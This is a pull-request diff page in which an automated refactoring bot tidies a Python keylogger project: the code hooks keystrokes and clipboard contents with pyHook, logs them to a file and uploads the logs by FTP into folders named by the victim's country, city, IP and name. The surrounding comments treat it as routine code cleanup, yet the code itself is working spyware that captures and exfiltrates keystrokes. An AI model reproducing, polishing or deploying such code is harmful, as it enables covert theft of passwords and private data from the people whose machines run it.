Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 5 additions & 22 deletions FTP_client.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,8 +28,6 @@
fo.close()
if country == 'Bosnia and Herzegovina ':
country = "Bosnia and Herzegovina"
else:
pass
Comment on lines -31 to -32
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lines 31-32 refactored with the following changes:

  • Remove redundant pass statement (remove-redundant-pass)


# --------------------------------------------------- #
# ---------------sending file to ftp server----------------- #
Expand All @@ -50,31 +48,18 @@ def log_upload(f_name):
ftp.cwd(city)
if ip in ftp.nlst():
ftp.cwd(ip)
if victim in ftp.nlst():
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
if victim not in ftp.nlst():
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
ftp.mkd(city)
ftp.cwd(city)
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
Comment on lines -53 to -77
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function log_upload refactored with the following changes:

  • Hoist repeated code outside conditional statement (hoist-statement-from-if)
  • Hoist repeated code outside conditional statement (hoist-statement-from-if)

else:
ftp.mkd(region)
ftp.cwd(region)
Expand All @@ -83,9 +68,6 @@ def log_upload(f_name):
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()
else:
ftp.mkd(country)
ftp.cwd(country)
Expand All @@ -96,9 +78,10 @@ def log_upload(f_name):
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()

ftp.cwd(victim)
ftp.storbinary('STOR '+ filename, open(f_name, 'rb'))
ftp.quit()

def clean_it():
global f_name
Expand Down
24 changes: 12 additions & 12 deletions Logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,11 @@
def keypressed(event):
global data
if event.Ascii == 13:
keys = '\n'
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
keys = '\n'
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
Comment on lines -14 to +18
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function keypressed refactored with the following changes:

  • Replace multiple comparisons of same variable with in operator (merge-comparisons)

elif event.Ascii == 8:
keys = '<BS>'
fp = open(f_name,'a')
Expand All @@ -34,8 +34,8 @@ def keypressed(event):
data = keys
fp.write(data + "\n")
fp.close()
elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24:
pass
elif event.Ascii in [1, 3, 19, 0, 24]:
pass
elif event.Ascii == 22:
keys = pyperclip.paste()
fp = open(f_name,'a')
Expand All @@ -45,11 +45,11 @@ def keypressed(event):
fp.write("###########STOP CLIPBOARD#############\n")
fp.close()
else:
keys = chr(event.Ascii)
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
keys = chr(event.Ascii)
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()

def log_it():
obj = pyHook.HookManager()
Expand Down
28 changes: 5 additions & 23 deletions v2/FTP Keyloger
Original file line number Diff line number Diff line change
Expand Up @@ -41,31 +41,18 @@ def log_upload(x):
ftp.cwd(city)
if ip in ftp.nlst():
ftp.cwd(ip)
if victim in ftp.nlst():
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
if victim not in ftp.nlst():
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
ftp.mkd(city)
ftp.cwd(city)
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
Comment on lines -44 to -68
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function log_upload refactored with the following changes:

  • Hoist repeated code outside conditional statement (hoist-statement-from-if)
  • Hoist repeated code outside conditional statement (hoist-statement-from-if)

else:
ftp.mkd(region)
ftp.cwd(region)
Expand All @@ -74,9 +61,6 @@ def log_upload(x):
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
else:
ftp.mkd(country)
ftp.cwd(country)
Expand All @@ -87,9 +71,9 @@ def log_upload(x):
ftp.mkd(ip)
ftp.cwd(ip)
ftp.mkd(victim)
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
ftp.cwd(victim)
ftp.storbinary('STOR ' + filename, open(x, 'rb'))
ftp.quit()
fo = open(f_name, 'w')
fo.flush()
fo.close()
Expand Down Expand Up @@ -125,7 +109,7 @@ def keypressed(event):
data = keys
fp.write(data + "\n")
fp.close()
elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24:
elif event.Ascii in [1, 3, 19, 0, 24]:
Comment on lines -128 to +112
Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function keypressed refactored with the following changes:

  • Remove redundant pass statement (remove-redundant-pass)
  • Replace multiple comparisons of same variable with in operator (merge-comparisons)

pass
elif event.Ascii == 22:
keys = pyperclip.paste()
Expand Down Expand Up @@ -154,8 +138,6 @@ def keypressed(event):
log_upload(f_name)
except:
pass
else:
pass


obj = pyHook.HookManager()
Expand Down